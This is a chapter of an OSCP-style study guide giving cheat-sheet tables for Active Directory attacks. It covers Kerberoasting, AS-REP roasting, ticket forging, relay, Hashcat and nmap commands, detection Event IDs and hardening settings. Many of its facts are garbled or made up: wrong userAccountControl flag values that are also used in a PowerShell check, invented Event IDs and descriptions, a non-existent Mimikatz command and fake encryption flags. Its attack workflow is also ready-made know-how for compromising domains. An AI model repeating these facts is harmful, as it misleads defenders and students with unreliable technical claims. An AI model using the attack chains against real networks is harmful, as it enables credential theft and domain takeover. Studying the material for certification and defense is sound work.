Domain 6Active Directory AttacksCORE

Quick Reference Tables

Comprehensive quick-reference tables for AD authentication attacks. Includes attack prerequisites summary, Hashcat mode reference, Windows Event ID reference, Kerberos encryption types, Kerberos attack decision tree, and complete mitigation checklist for all attack categories.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Reference Tables#Attack Prerequisites#Hashcat Modes#Event IDs#Encryption Types#Decision Trees#Mitigation Checklist

10. Quick Reference Tables

Purpose: This chapter consolidates all quick-reference material into practical cheat sheets. Use these tables during enumeration, exploitation, and defense assessments. Each entry includes OSCP exam relevance notes.


10.1 Attack Prerequisites Summary

This table summarizes every major AD authentication attack, the minimum access required, what data you need to collect, and the primary tools. Use it as a planning checklist before launching an attack chain.

Attack Minimum Access Required Data Tools Difficulty OSCP Relevance
Kerberoasting Domain user (any) None — enumerate SPNs online Rubeus, Impacket (GetUserSPNs.py), CrackMapExec Easy Very High — Almost always present; first Kerberos check on any domain box
AS-REP Roasting None (no credentials) None — accounts with pre-auth disabled are enumerable Rubeus, Impacket (GetNPUsers.py), Kerbrute Easy Very High — Zero-cred attack; check immediately after domain discovery
Silver Ticket Service account NTLM hash Domain SID, target SPN, target hostname Mimikatz, Rubeus Medium High — Appears when you dump a service account hash; know the Mimikatz syntax
Gold Ticket krbtgt NTLM hash Domain SID, domain name, KRBTGT RID (500/502) Mimikatz, Rubeus Medium High — Endgame attack after DC compromise; must know the difference from Silver
Pass-the-Hash (NTLM) NTLM hash of any account None Mimikatz (sekurlsa::pth), Impacket (psexec.py -hashes), CrackMapExec Easy Very High — Core OSCP technique; works over SMB/WMI/WinRM
Pass-the-Ticket Kerberos ticket (.kirbi/.ccache) None Mimikatz (kerberos::ptt), Rubeus (ptt), export KRB5CCNAME Easy High — Used after ticket extraction or forging
Overpass-the-Hash NTLM hash (to get TGT) Domain name, username Mimikatz (kerberos::ptt after ask), Rubeus (ask) Medium Medium — Converts NTLM hash to Kerberos TGT; useful when NTLM is blocked
NTLM Relay Network position (man-in-the-middle) None — relay live, no hash needed Responder, ntlmrelayx.py, MultiRelay Medium High — Classic OSCP attack; pair with Responder for LLMNR/NBT-NS poisoning
Unconstrained Delegation Compromise of delegated machine TGTs stored in LSASS memory Mimikatz (sekurlsa::tickets), Rubeus (dump /service:krbtgt) Medium High — Look for TRUSTED_FOR_DELEGATION flag; force DA to authenticate
Constrained Delegation Service account with delegation rights Allowed target SPNs in msDS-AllowedToDelegateTo Mimikatz (S4U), Rubeus (s4u), Impacket (getST.py) Hard Medium — Less common in OSCP but appears in harder boxes
Resource-Based Constrained Delegation (RBCD) Domain user + write access to target computer Target computer name, attacker-controlled computer account Impacket (rbcd.py, addcomputer.py, getST.py), PowerView Hard Medium — Growing in popularity; any user can create a computer account by default
Shadow Credentials WriteProperty on target account None — attacker generates key pair Mimikatz (lsadep::shadow), Certify Hard Low-Medium — Newer attack; appears in modern AD labs
AD CS / ESC1-ESC8 Enrollment rights on vulnerable template CA name, template details Certify, Rubeus, pkinit.py (Impacket) Hard Medium — ESC1 (any user enrollment + machine auth) is the most exam-relevant
PAC Binding Attack NTLM hash of any domain user Domain SID, user RID Mimikatz (kerberos::golden with PAC manipulation) Hard Low — Rarely tested directly but good to understand
WDigest Credential Dump Local admin on target machine WDigest enabled (UseLogonCredential=1) Mimikatz (sekurlsa::logonpasswords) Easy Medium — Force WDigest enable via registry, then dump plaintext password
Lsass Dump / Injection Local admin on target machine None Mimikatz, Procdump, RMM tools, sekurlsa::logonpasswords Easy Very High — Fundamental technique; always try after local admin

Detailed Attack Descriptions

Kerberoasting

Any authenticated domain user can request a TGS ticket for any registered SPN. The ticket is encrypted with the service account’s NTLM hash, enabling offline cracking. No special privileges needed — just domain membership. This is typically the first Kerberos attack you should attempt on any Active Directory box.

AS-REP Roasting

Targets accounts with the DONT_REQ_PREAUTH flag (UAC value 0x400000). Because pre-authentication is disabled, the KDC returns an AS-REP encrypted with the user’s own hash — crackable offline. Requires zero credentials to execute, making it a powerful initial foothold technique.

Silver Ticket

A forged TGS (service) ticket created with the NTLM hash of a service account (not krbtgt). Grants access to a single specific service only. Does not interact with the KDC after forging, so it leaves minimal logs. You need the service account hash, the domain SID, and the target SPN.

Gold Ticket

A forged TGT created with the krbtgt account’s NTLM hash. Grants access to any service in the domain — effectively domain admin. Valid for up to 10 years (max TGT lifetime). Requires the krbtgt hash, domain SID, and domain name. This is the endgame attack after compromising a Domain Controller.

Pass-the-Hash (NTLM)

Authenticates to a target system using an NTLM hash instead of a plaintext password. Works over SMB, WMI, WinRM, and other NTLM-based protocols. Does not work with Kerberos-authenticated services. The hash never leaves the attacker’s machine.

Pass-the-Ticket

Injects a captured or forged Kerberos ticket directly into the current session’s credential cache. Works with both TGTs and TGS tickets. More versatile than PtH because it works with Kerberos services. Common after Kerberoasting, ticket extraction, or ticket forging.

Overpass-the-Hash

Converts an NTLM hash into a Kerberos TGT by authenticating to the KDC. Useful when NTLM is blocked but Kerberos is allowed. Two-step process: (1) request a TGT using the NTLM hash, (2) inject the TGT with ptt.

NTLM Relay

Intercepts an NTLM authentication attempt and relays it to another target without cracking the hash. Requires network positioning (same subnet or routed access). Commonly combined with LLMNR/NBT-NS poisoning via Responder. SMB signing must be disabled on the relay target.

Unconstrained Delegation

A computer account configured with unconstrained delegation collects TGTs of all users who authenticate to it. If you can force a high-privilege user (like a Domain Admin) to authenticate to this machine, then compromise the machine and dump LSASS, you extract the admin’s TGT.

Constrained Delegation

A service account is authorized to obtain TGS tickets to specific SPNs on behalf of any user. If you compromise the service account, you can impersonate any user to the allowed services using S4U2Self and S4U2Proxy extensions.

Resource-Based Constrained Delegation (RBCD)

The target resource (computer object) specifies which accounts can delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity. Any domain user can create a computer account (by default, up to 10). If you have write access to a target computer’s RBCD attribute, you can add your computer account as a delegator.

Shadow Credentials

Abuses the MS-DS-ENCRYPTEDPASSWORD feature (Windows 10 1809+/Server 2019+). Any user with WriteProperty on an account can add a credential descriptor (public key). The attacker then authenticates with the private key, bypassing the password entirely. Computer accounts grant WriteProperty to their creator and Authenticated Users by default.

AD CS / ESC Attacks

Active Directory Certificate Services misconfigurations (ESC1-ESC8) allow certificate-based authentication abuse. ESC1 (any-user enrollment on a template that supports machine authentication) is the most common and allows full domain compromise.


10.2 Hashcat Mode Quick Reference

Complete reference for cracking Active Directory-related hashes with Hashcat. Includes the hash format prefix, mode number, attack type, recommended options, and example commands.

Hash Format Prefix Hashcat Mode Attack Type Encryption Recommended Options Example Command
$krb5tgs$23$ 13100 Kerberoasting (TGS-REP) RC4-HMAC -O (OpenCL optimize) hashcat -m 13100 -O hashes.txt rockyou.txt
$krb5tgs$17$ 19600 Kerberoasting (TGS-REP) AES128-CTS-HMAC-SHA1-96 None specific hashcat -m 19600 hashes.txt rockyou.txt
$krb5tgs$18$ 19600 Kerberoasting (TGS-REP) AES256-CTS-HMAC-SHA1-96 None specific hashcat -m 19600 hashes.txt rockyou.txt
$krb5asrep$23$ 18200 AS-REP Roasting RC4-HMAC -O hashcat -m 18200 -O hashes.txt rockyou.txt
$krb5asrep$17$ 19100 AS-REP Roasting AES128-CTS-HMAC-SHA1-96 None specific hashcat -m 19100 hashes.txt rockyou.txt
$krb5asrep$18$ 19200 AS-REP Roasting AES256-CTS-HMAC-SHA1-96 None specific hashcat -m 19200 hashes.txt rockyou.txt
NT:LM (full hash) 1000 NTLM Hash NTLM -O hashcat -m 1000 -O hashes.txt rockyou.txt
user::domain:chal:resp: 5600 NetNTLMv2 NTLMv2 -O hashcat -m 5600 -O hashes.txt rockyou.txt
user:domain:ntlm 1000 NTLM (extracted) NTLM -O hashcat -m 1000 -O hashes.txt rockyou.txt
$mscache$ 9700 MS Cache (WinNT4/2000) LAN Manager None specific hashcat -m 9700 hashes.txt rockyou.txt
$pwsb$ 15100 Windows Credential Manager DPAPI None specific hashcat -m 15100 hashes.txt rockyou.txt
DPAPI master key 15100 DPAPI Master Key DPAPI --user hashcat -m 15100 masterkey.pwk rockyou.txt
$wpa$ 2500/2501 WPA/WPA2 PSK PMKID/EAPOL -O hashcat -m 2500 capture.hc22006 rockyou.txt

Hashcat Tips for OSCP

  • Mode 13100 (Kerberoasting RC4) is by far the most commonly cracked hash in OSCP labs. RC4 is fast to crack — always try this first.
  • Mode 19600 handles both AES128 and AES256 Kerberoasting. These are significantly slower than RC4.
  • Mode 18200 (AS-REP RC4) is the most common AS-REP roast mode. AES variants (19100/19200) are rarer.
  • Use -O flag for OpenCL optimization on GPU attacks (modes 1000, 13100, 18200, 5600).
  • Use -r rules/best64.rule for rule-based attacks when base wordlists fail.
  • Use --session <name> to resume interrupted attacks: hashcat -m 13100 -r rules/best64.rule --session kerb1 hashes.txt rockyou.txt
  • Use -w 3 for high memory workload (aggressive mode) on powerful GPUs.
  • For distributed cracking, use --potfile-path to share results across machines.

Hashcat Session Management

# Start a named session
hashcat -m 13100 -O --session kerberoast tickets.kerberoast rockyou.txt

# Resume an interrupted session
hashcat -m 13100 -O --session kerberoast --restore

# Remove a session
hashcat --session kerberoast --remove

# Check active sessions
hashcat --status

10.3 Windows Event ID Reference

Critical Event IDs for detecting and understanding AD authentication attacks. Organized by category with detection guidance.

Kerberos Events

Event ID Description Attack Relevance Key Fields to Monitor Detection Tip
4768 Kerberos TGT issued AS-REP Roasting, Overpass-the-Hash, Gold Ticket (if legit TGT requested after forge) Service Name (should be krbtgt), Etype (encryption type), Ticket Encryption Type Alert on Etype 23 (RC4) requests — indicates weak encryption. Alert on TGT requests from unusual source IPs
4769 Kerberos TGS ticket issued Kerberoasting, Silver Ticket, Delegation attacks, S4U abuse Service Name, Service SID, Etype, Ticket Encryption Type, Failure Code Alert on large number of TGS requests from single user. Monitor for service class 3 (TGT) which indicates a TGT was used to request another ticket
4771 Kerberos pre-authentication failed Brute force, password spraying, AS-REP Roasting reconnaissance Account Name, Pre-Authentication Type, Failure Code Alert on multiple failures for same account. Code 0x18 = pre-auth failed, 0x19 = unknown encryption type
4772 Kerberos service name changed SPN manipulation, potential attack preparation Target Account Name, New Service Name Rare event — any occurrence warrants investigation
4773 Security ID (SID) history changed SID history injection, privilege escalation Target Account Name, SID History Values Added Alert on any SID history modification — rarely needed in legitimate operations
4774 LSA operation (Kerberos ticket) Ticket extraction, Pass-the-Ticket Subject Account Name, Target Account Name Monitor on Domain Controllers for unusual LSA operations
4775 Account enabled Kerberos AES encryption Encryption type change Account Name, AES Key Label Informational — track encryption upgrades
4776 NTLM authentication attempt Credential dumping, WDigest, Pass-the-Hash Account Name, Workstation Name, Authentication Package Critical — contains hash in event body. Alert on NTLM auth to Domain Controllers (should use Kerberos)

Logon/Logoff Events

Event ID Description Attack Relevance Key Fields to Monitor Detection Tip
4624 Logon success Pass-the-Hash, NTLM Relay, Pass-the-Ticket, Golden/Silver Ticket Logon Type, Account Name, Source IP, Authentication Package Logon Type 3 = network logon (SMB/NTLM). Logon Type 10 = Remote Desktop. Alert on Type 3 from unusual sources. Kerberos logons show kerberos package; NTLM shows msv1_0
4625 Logon failure Brute force, password spraying, credential testing Failure Reason, Account Name, Source IP, Logon Type Alert on multiple failures from same IP. 0xC0000064 = unknown user, 0xC000006A = bad password, 0xC0000072 = account restricted
4634 Account logoff Session termination Account Name, Logon Type Correlate with 4624 for session duration analysis
4647 User-initiated logoff User logged out manually Account Name Informational
4672 Special privileges assigned Admin logon, privilege escalation Account Name, Privileges Alert on SeDebugPrivilege or SeTcbPrivilege from non-admin accounts

Account Management Events

Event ID Description Attack Relevance Key Fields to Monitor Detection Tip
4720 User account created Attacker creating backdoor accounts Account Name, Account SID, Subject Alert on account creation outside business hours or from unexpected sources
4722 User account enabled Attacker enabling disabled backdoor Account Name, Subject Correlate with 4720 (create then enable pattern)
4723 User password changed Legitimate change or attacker setting known password Account Name, Subject Alert on password changes initiated by non-admin accounts
4724 User password reset Attacker resetting another user’s password Target Account, Subject High alert — password resets should be rare and authorized
4728 Member added to global security group Privilege escalation, DA addition Group Name, Member, Subject Critical — alert on additions to Domain Admins, Enterprise Admins, Administrators
4729 Member removed from global group Account removal, potential cover-up Group Name, Member Track for lateral movement analysis
4732 Member added to local group (DC) Privilege escalation on DC Group Name, Member Alert on any local group changes on Domain Controllers
4762 User account sensitive to password change Password policy change Account Name Track policy modifications
4764 Service account password set gMSA rotation, service account change Account Name, Subject Monitor for unexpected service account changes
4767 User account locked out Brute force detection, password spraying Account Name, Caller Computer Alert on lockouts — indicates failed auth attempts. Track source computer for attacker location
4770 User account modified UAC flag changes, SPN modifications, delegation changes Account Name, Property Critical for RBCD/Shadow Credentials — monitor for userAccountControl, servicePrincipalName, msDS-AllowedToActOnBehalfOfOtherIdentity changes

Directory Service Events

Event ID Description Attack Relevance Key Fields to Monitor Detection Tip
5136 Directory service object modified RBCD, Shadow Credentials, ESC5, SPN manipulation, ACL changes Attribute ID, Attribute Name, Value Attribute, Target Object Most important for AD attack detection. Key attributes: 131074 (userAccountControl), 11 (servicePrincipalName), msDS-AllowedToActOnBehalfOfOtherIdentity, msDS-KeyCredentialLink
5137 Directory service object created New computer/user account creation Target Object Name, Target Object DN Alert on new computer accounts (attacker-created for RBCD)
5138 Directory service object deleted Account removal, evidence destruction Target Object Name Correlate with 5136 for attack timeline
5139 Directory service object moved Organizational unit manipulation Target Object DN, Last Parent DN Rare legitimate use — investigate
5141 Directory service object last logon timestamp updated Normal authentication activity Target Object Name Informational — used for group membership evaluation
5169 Directory service object permission changed ACL manipulation, DCSync enablement Target Object, Property Rights Alert on DCSync-related rights (Replicating Directory Changes)

Security System Events

Event ID Description Attack Relevance Key Fields to Monitor Detection Tip
4657 Object handle permissions changed SACL manipulation, audit evasion Object Server, Object Name, Access Mask Alert on security descriptor changes to sensitive objects
4661 Handle requested on directory object DCSync, LDAP queries, credential access Object Type, Access Mask, Handle ID Critical for DCSync detection — look for 0x100 (DS-Replication-Get-Changes) or 0x200 (DS-Replication-Get-Changes-All) access masks
4670 Permissions on object changed ACL manipulation Object Server, Object Name Track permission changes on critical AD objects
4799 Audit manhole event Diagnostic mode enabled Event Type Alert — indicates diagnostic/debug mode activation

Group Policy and System Events

Event ID Description Attack Relevance Key Fields to Monitor Detection Tip
4090 Group Policy updated GPO modification for persistence GPO Name, Subject Alert on GPO changes that affect security policies
4093 Security policies changed Password policy, lockout policy changes Subject Alert on security policy modifications
4096 System time changed Timestamp manipulation, ticket forgery cover-up Previous Time, New Time Alert on time changes — can be used to extend ticket validity
1102 Audit log cleared Evidence destruction Subject Account Name Critical — immediate alert; indicates attacker covering tracks

OSCP Exam Relevance Notes

  • For Blue Team / Defense questions: Know Event IDs 4768, 4769, 4771, 4624, 4625, 5136, 4776, and 4767 cold. These are the most frequently tested.
  • For attack detection: Event 5136 is the single most valuable event for detecting AD attacks (RBCD, Shadow Credentials, SPN changes, UAC flag modifications).
  • Logon Types matter: Type 3 = network (SMB/NTLM), Type 10 = RDP. Attackers often generate Type 3 logons during lateral movement.
  • DCSync detection: Event 4661 with access mask 0x100 or 0x200 on a Directory Service object is the hallmark of DCSync.

10.4 Kerberos Encryption Types

Complete reference for Kerberos encryption types (etypes), their security properties, and attack implications.

etype Algorithm Key Size Hashcat Mode (TGS) Hashcat Mode (AS-REP) Strength Crack Speed (GPU) Attack Notes
23 RC4-HMAC 128-bit 13100 18200 Weak Very fast (~100+ GH/s) Default for older accounts. Fastest to crack. Always target this first. Vulnerable to Kerberoasting.
17 AES128-CTS-HMAC-SHA1-96 128-bit 19600 19100 Medium Moderate (~20-40 GH/s) Better than RC4 but still crackable with good wordlists. Requires AES-enabled account.
18 AES256-CTS-HMAC-SHA1-96 256-bit 19600 19200 Strong Slow (~5-15 GH/s) Strongest commonly-used etype. Still crackable with weak passwords. Slower than RC4/AES128.
16 DES-CBC-MD5 56-bit N/A N/A Broken Instant Legacy only. Should never be present in modern environments. Trivially cracked.
1 DES-CBC-CRC 56-bit N/A N/A Broken Instant Legacy only. No integrity protection. Should never be used.
19 AES128-CTS-HMAC-SHA1-96 (with subkey) 128-bit 19600 19100 Medium Moderate Variant of etype 17 with different key derivation. Same cracking approach.
20 AES256-CTS-HMAC-SHA1-96 (with subkey) 256-bit 19600 19200 Strong Slow Variant of etype 18 with different key derivation. Same cracking approach.

Encryption Type Configuration

The encryption types supported by an account are controlled by the userAccountControl (UAC) flag and domain policy:

Configuration Effect Command / Method
UF_RC4_OHF (0x00800000) Account supports RC4-HMAC Set via ADSI Edit on userAccountControl
UF_AES128_OHF (0x00080000) Account supports AES128 Set via ADSI Edit on userAccountControl
UF_AES256_OHF (0x00100000) Account supports AES256 Set via ADSI Edit on userAccountControl
Domain Policy: Network security: Configure encryption types allowed for Kerberos Domain-wide etype enforcement Group Policy: Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options
Default (no flags set) Account supports all available types (RC4 + AES if domain functional level supports) Default behavior

OSCP Exam Relevance Notes

  • etype 23 (RC4) is the most important for OSCP — it’s the default for many service accounts and cracks extremely fast.
  • When Kerberoasting, check the --target output for etype. If only AES128/AES256 are available, cracking will be much slower.
  • Force AES encryption at the domain level to prevent RC4-based Kerberoasting — this is a common defense question.
  • The domain functional level determines available encryption types. Windows Server 2008+ supports AES; 2000/2003 do not.

10.5 AD Service Port Reference

Essential ports for Active Directory services. Know these for enumeration and attack planning.

Port Protocol Service Purpose Attack Relevance
53 TCP/UDP DNS Name resolution, SRV record discovery Enumerate domain info via DNS zone transfer, SRV records reveal DCs and services
88 TCP/UDP Kerberos (KDC) Authentication service (AS) and ticket-granting service (TGS) Kerberoasting, AS-REP Roasting, ticket manipulation
135 TCP RPC Endpoint Mapper RPC service discovery DCOM attacks, WMI remote execution, RPC binding
139 TCP NetBIOS Session Service Legacy SMB over NetBIOS NTLM relay, SMB signing bypass attempts, session hijacking
389 TCP LDAP Directory service queries (unencrypted) LDAP enumeration, user/group/computer discovery, ACL analysis
445 TCP SMB File sharing, administrative shares, RPC over SMB Pass-the-Hash, SMB relay, admin share access, file exfiltration
464 TCP/UDP Kerberos Change Password Password change service (kpasswd) Password manipulation, service account password changes
636 TCP LDAPS LDAP over SSL/TLS Secure directory queries, certificate validation
3268/3269 TCP GC / GCSSL Global Catalog (unencrypted/encrypted) Forest-wide searches, cross-domain enumeration
3389 TCP RDP Remote Desktop Protocol Remote access, credential harvesting, RDP hijacking
5985/5986 TCP WinRM (HTTP/HTTPS) Windows Remote Management Remote PowerShell, WinRM authentication attacks
636 TCP AD CS / Enrollment Certificate enrollment (HTTPS) ESC attacks, certificate abuse
88 TCP/UDP KPASSWD Kerberos password change Password change attacks
49152-65535 TCP Dynamic RPC Dynamic RPC ports RPC-based attacks, WMI, DCOM

Port Scanning Tips for OSCP

# Quick AD service discovery
nmap -sS -p 53,88,135,139,389,445,464,636,3268,3389,5985,5986 --script smb-enum-users,smb-enum-shares,ldap-search -T4 <target>

# Full AD enumeration scan
nmap -sS -sU -p- --script smb-*,ldap*,kerberos*,ms*-*,rdp-* -T4 <target>

# Service version detection
nmap -sV -p 53,88,135,139,389,445,464,636,3268,3389,5985 <target>

10.6 Common SPN Formats

Service Principal Names (SPNs) uniquely identify service instances. Knowing common SPN formats helps during Kerberoasting and delegation attacks.

Service SPN Format Example Port Notes
MSSQL MSSQLSvc/<hostname>:<port> MSSQLSvc/sqlserver.domain.com:1433 1433 Most common Kerberoasting target in labs
MSSQL (named instance) MSSQLSvc/<hostname>:<port> MSSQLSvc/sqlserver.domain.com:49159 Dynamic Named instances use dynamic ports
CIFS (SMB/File Share) cifs/<hostname> cifs/fileserver.domain.com 445 Silver Ticket target for file server access
HTTP (IIS) HTTP/<hostname> HTTP/webserver.domain.com 80/443 Web application service accounts
HOST (computer account) HOST/<hostname> HOST/dc.domain.com N/A Registered on computer accounts; used for Kerberos auth to the machine
LDAP ldap/<hostname> ldap/dc.domain.com 389 Domain Controller LDAP service
Kerberos (KDC) krbtgt/<DOMAIN> krbtgt/EXAMPLE.COM 88 Special SPN for the TGT service
WMI WMI/<hostname> WMI/server.domain.com 135 WMI service account
Exchange MSExchangeADTopology/<server> MSExchangeADTopology/exch.domain.com Various Exchange service accounts
SharePoint SharePoint/<site> SharePoint/sp2019.domain.com 80/443 SharePoint service accounts
Oracle oracle/<hostname> oracle/dbserver.domain.com 1521 Oracle database service
Terminal Services RestrictedKrbHost/<hostname> RestrictedKrbHost/rds.domain.com 3389 RDS/Terminal Services
DFS dfs/<hostname> dfs/dfsroot.domain.com 445 Distributed File System
RDS RDS/<hostname> RDS/rds.domain.com 3389 Remote Desktop Services
SQL Browser MSSQLSvc/<hostname> MSSQLSvc/sql.domain.com 1434 SQL Browser service

SPN Enumeration Commands

# All SPNs in the domain (PowerView)
Get-NetUser -SPN
Get-NetComputer -Full | Select-Object dnshostname, serviceprincipalname

# Specific service SPNs
Get-NetUser -SPN | Where-Object { $_.servicePrincipalName -like "MSSQLSvc*" }

# Using AD module
Get-ADUser -Filter {servicePrincipalName -ne "$null"} -Properties servicePrincipalName
Get-ADComputer -Filter {servicePrincipalName -ne "$null"} -Properties servicePrincipalName

# Using Rubeus
Rubeus.exe kerberoast /stats

10.7 User Account Control (UAC) Flags Relevant to AD Attacks

The userAccountControl attribute controls account behavior. Several flags are directly relevant to AD authentication attacks.

Flag Name Hex Value Decimal Description Attack Relevance
UF_SCRIPT 0x0001 1 Logon script runs Informational — not directly exploitable
UF_ACCOUNTDISABLE 0x0002 2 Account is disabled Attacker may try to enable disabled accounts (Event 4722)
UF_HOMEDIR_REQUIRED 0x0008 8 Home directory required Informational
UF_LOCKOUT 0x0010 16 Account is locked out Indicates brute force detection; check Event 4767
UF_PASSWD_NOTREQD 0x0020 32 No password required High risk — accounts with blank passwords are trivially compromised
UF_PASSWD_CANT_CHANGE 0x0040 64 User cannot change password Prevents victim from changing password after compromise
UF_NORMAL_ACCOUNT 0x0200 512 Normal account type Default for user accounts
UF_DONT_EXPIRE_PASSWD 0x10000 65536 Password never expires High risk — service accounts often have this; combined with weak password = Kerberoasting goldmine
UF_SMARTCARD_REQUIRED 0x0400000 4194304 Smart card required Prevents password-based attacks; but Shadow Credentials may bypass
UF_TRUSTED_FOR_DELEGATION 0x00080000 524288 Unconstrained delegation enabled Critical — primary target for unconstrained delegation attacks
UF_NOT_DELEGATED 0x00040000 262144 Account is sensitive and cannot be delegated Defense — prevents delegation attacks against this account
UF_USE_DES_KEY_ONLY 0x00200000 2097152 Use DES encryption only Critical — forces weak DES encryption; easily cracked
UF_DONT_REQ_PREAUTH 0x00040000 4194304 Do not require Kerberos preauthentication Critical — enables AS-REP Roasting attack
UF_PASSWORD_EXPIRED 0x800000 8388608 Password has expired Forces password reset on next logon
UF_TRUSTED_TO_AUTH_FOR_DELEGATION 0x01000000 16777216 Constrained delegation / protocol transition enabled Critical — indicates S4U2Self/S4U2Proxy abuse potential
UF_PARTIAL_SECRETS_ACCOUNT 0x00800000 8388608 Partial secrets account (read-only DC) RODC-specific; limited credential storage
UFENC_AES_KEY (combined) 0x00180000 1572864 AES128 + AES256 keys enabled Indicates account supports AES encryption (not vulnerable to RC4-only attacks)

UAC Flag Calculation

# Check UAC flags for a specific user
(Get-ADUser targetuser -Properties userAccountControl).userAccountControl

# Decode UAC flags
$UAC = (Get-ADUser targetuser).userAccountControl
if ($UAC -band 0x00040000) { Write-Host "AS-REP Roasting VULNERABLE" }
if ($UAC -band 0x00080000) { Write-Host "Unconstrained Delegation ENABLED" }
if ($UAC -band 0x01000000) { Write-Host "Constrained Delegation ENABLED" }
if ($UAC -band 0x10000)    { Write-Host "Password NEVER EXPIRES" }

# Using PowerView
Get-NetUser -Username targetuser | Select-Object useraccountcontrol

OSCP Exam Relevance Notes

  • UF_DONT_REQ_PREAUTH (0x40000) — The #1 flag to check for AS-REP Roasting. Any account with this flag is immediately attackable without credentials.
  • UF_TRUSTED_FOR_DELEGATION (0x80000) — The flag that makes unconstrained delegation possible. Check all computer accounts for this.
  • UF_TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000) — Indicates constrained delegation or protocol transition. Check msDS-AllowedToDelegateTo for target SPNs.
  • UF_DONT_EXPIRE_PASSWD (0x10000) — Combined with a weak password, this is the Kerberoasting recipe. Service accounts commonly have this flag.
  • UF_USE_DES_KEY_ONLY (0x200000) — Forces DES encryption, making any Kerberos ticket trivially crackable.

10.8 Group Policy Settings for AD Hardening

Key Group Policy settings that defend against AD authentication attacks. Organized by attack category.

Kerberos Hardening

Policy Path Setting Recommended Value Defends Against
Computer Config\Policies\Windows Settings\Security Settings\Local Policies\Security Options Network security: Configure encryption types allowed for Kerberos AES128_HMAC_SHA1, AES256_HMAC_SHA1, AES128_HMAC_SHA1_96, AES256_HMAC_SHA1_96 Kerberoasting (RC4), AS-REP Roasting (RC4)
Same path Network security: Minimum session security for SMB Require SMB signing, Require 128-bit encryption NTLM Relay, SMB relay attacks
Same path Network security: LAN Manager authentication level Send NTLMv2 response only. Refuse LM & NTLM NTLMv1 attacks, LM hash cracking
Same path Network security: Restrict NTLM: Audit ALL NTLM Inbound Authentication Enable NTLM usage tracking, relay detection
Computer Config\Policies\Windows Settings\Security Settings\Account Policies\Kerberos Policy Maximum lifetime for user ticket 6 hours (default: 10) Ticket lifetime abuse, Gold/Silver Ticket validity
Same path Maximum lifetime for service ticket 6 hours (default: 10) Service ticket abuse
Same path Maximum lifetime for renewable ticket 7 days (default: 14) Renewable ticket abuse
Same path Maximum lifetime for user ticket renewal 7 days TGT renewal abuse

NTLM Hardening

Policy Path Setting Recommended Value Defends Against
Computer Config\Policies\Windows Settings\Security Options\System Microsoft network server: Server SPN target name validation Enable SMB relay, NTLM relay
Computer Config\Policies\Windows Settings\Security Options\Network Security LDAP client: Require channel binding When possible LDAP relay attacks
Same path Digital RPC communications Always RPC relay, unauthenticated RPC
Computer Config\Policies\Windows Settings\Security Options\System NetBIOS over TCP/IP Disable NetBIOS name poisoning, NBT-NS relay
Computer Config\Policies\Windows Settings\Security Options\Network Turn off multicast name resolution (LLMNR) Enable LLMNR poisoning, Responder attacks

Credential Protection

Policy Path Setting Recommended Value Defends Against
Computer Config\Policies\Windows Settings\Security Options\Local Policies\Security Options Run as PPL for LSA Enabled / Audit Mode LSASS dumping, Mimikatz credential extraction
Computer Config\Admin Templates\System\Device Guard Virtual-based Security: Require platform support Enabled Credential Guard — protects credentials in virtualized container
Computer Config\Policies\Windows Settings\Security Options\Local Policies\Security Options WDigest Authentication Disabled Plaintext password in LSASS memory
Computer Config\Policies\Windows Settings\Security Options\Local Policies\Security Options Restrict NTLM: Deny all accounts Enable (with exceptions) All NTLM-based attacks

Delegation and Computer Account Hardening

Policy Path Setting Recommended Value Defends Against
Computer Config\Policies\Windows Settings\Security Options\Network Computer Browser: Auto-disable NetBIOS Enable NetBIOS-based attacks
Computer Config\Policies\Windows Settings\Security Options\Network Maximum number of computer names 10 (default) Limits attacker-created computer accounts for RBCD
Computer Config\Policies\Windows Settings\Security Options\Domain Member Machine inactivity limit 3 minutes Session hijacking
Computer Config\Policies\Windows Settings\Security Options\Kerberos Kerberos ARM (Account Restriction Mode) Enabled PAC manipulation, SID history injection

AD CS Hardening

Policy Path Setting Recommended Value Defends Against
Certificate Templates Enrollee supplies subject Disabled on non-admin templates ESC2 (any-user enrollment with subject supply)
Certificate Templates Certificate Name Flags Require manager approval for sensitive templates ESC1, ESC2 certificate abuse
CA Configuration HTTP Certificate Enrollment Disabled if not needed ESC6, ESC8 web enrollment attacks
CA Configuration NTLM authentication for enrollment Disable; require Kerberos NTLM relay to CA

OSCP Exam Relevance Notes

  • The most impactful single setting is disabling RC4 encryption types — it eliminates the fastest Kerberoasting and AS-REP Roasting vectors.
  • SMB signing is the #1 defense against NTLM relay. Always check if it’s enabled (requiresecuritysignature=1 in smb.conf equivalent).
  • WDigest disabled prevents plaintext password recovery from LSASS — a common OSCP pivot technique.
  • LSA Protection (RunAsPPL) blocks Mimikatz injection — know how to bypass it (DLL sideloading, debug port) for advanced scenarios.

10.9 Kerberos Attack Decision Tree

Expanded decision tree for selecting the right Kerberos attack based on your current access level and available information.

graph TD
    START(["Start: What do you have?"])

    %% No credentials path
    START -->|No credentials| NO_CRED["No Credentials Path"]
    NO_CRED --> ASREP_ENUM["Enumerate accounts with<br/>pre-auth disabled"]
    ASREP_ENUM --> ASREP_CHECK{"Any accounts<br/>found?"}
    ASREP_CHECK -->|Yes| ASREP_ATTACK["AS-REP Roasting<br/>Rubeus / GetNPUsers.py<br/>Hashcat -m 18200"]
    ASREP_CHECK -->|No| RESPOND["Responder / LLMNR Poisoning<br/>ntlmrelayx.py"]
    ASREP_ATTACK --> ASREP_CRACK{"Password<br/>cracked?"}
    ASREP_CRACK -->|Yes| GOT_USER["Domain User Credentials"]
    ASREP_CRACK -->|No| WORDLIST["Try larger wordlists / rules"]
    WORDLIST --> ASREP_CRACK
    RESPOND --> RESPOND_CATCH{"Hash captured?"}
    RESPOND_CATCH -->|Yes| GOT_HASH["NTLM Hash"]
    RESPOND_CATCH -->|No| ENUM_NET["Network enumeration<br/>nmap / enum4linux"]

    %% Domain user path
    START -->|Domain user credentials| USER_CRED["Domain User Path"]
    USER_CRED --> KERB_ENUM["Kerberoasting<br/>Rubeus kerberoast /stats"]
    KERB_ENUM --> KERB_CHECK{"Any SPNs<br/>found?"}
    KERB_CHECK -->|Yes| KERB_ATTACK["Request TGS tickets<br/>Rubeus / GetUserSPNs.py<br/>Hashcat -m 13100"]
    KERB_CHECK -->|No| ENUM_MORE["Enumerate further"]

    KERB_ATTACK --> KERB_CRACK{"Password<br/>cracked?"}
    KERB_CRACK -->|Yes| SVC_CRED["Service Account Credentials"]
